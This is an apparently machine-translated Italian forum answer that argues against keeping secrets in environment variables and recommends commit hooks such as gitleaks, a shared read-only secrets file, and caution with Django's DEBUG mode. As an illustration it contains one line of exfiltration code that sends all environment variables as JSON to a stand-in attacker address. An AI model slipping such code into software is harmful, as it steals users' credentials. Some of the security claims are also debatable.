AFAICT, ci sono due ragioni per cui le persone consigliano di memorizzare i segreti nelle variabili di ambiente:
- È troppo facile eseguire il commit inavvertitamente di file flat segreti in un repository. (E se si tratta di un repo pubblico, sei brindisi.)
- Previene l'ingombro delle password, ovvero avere la stessa chiave in molti file di directory di progetto diversi è di per sé un rischio per la sicurezza poiché gli sviluppatori finiranno per perdere traccia di dove si trovano i segreti.
Questi due problemi possono essere risolti in modi migliori. Il primo dovrebbe essere risolto da un hook git commit che controlla le cose che sembrano password (ad esempio, gitleaks ). Vorrei che Linus incorporasse uno strumento del genere nel codice sorgente della libreria git ma, ahimè, ciò non è accaduto. (Inutile dire che i file segreti dovrebbero sempre essere aggiunti .gitignore
, ma è necessario un hook nel caso in cui qualcuno si dimentichi di farlo.)
Quest'ultimo può essere risolto disponendo di un file dei segreti aziendali globale, che è idealmente archiviato su un drive condiviso di sola lettura. Quindi, in Python, potresti avere qualcosa di simile from company_secrets import *
.
Ancora più importante, come sottolineato da altri, è troppo facile hackerare i segreti archiviati nelle variabili di ambiente. Ad esempio, in Python, l'autore di una libreria potrebbe inserire send_email(address="evil.person@evil.com", text=json.dumps(os.environ))
e poi sei brindisi se esegui questo codice. L'hacking è molto più impegnativo se hai un file sul tuo sistema chiamato ~/secret_company_stuff/.my_very_secret_company_stuff
.
Solo utenti Django:
Django (in modalità DEBUG) mostra il valore grezzo di una variabile d'ambiente nel browser se c'è un'eccezione (in modalità DEBUG). Ciò sembra altamente insicuro se, ad esempio, uno sviluppatore si mette accidentalmente DEBUG=True
in produzione. Al contrario, Django FA offuscare variabili impostazioni password, cercando per le stringhe API
, TOKEN
, KEY
, SECRET
, PASS
o SIGNATURE
nel quadro di settings.py
nomi di variabili del file.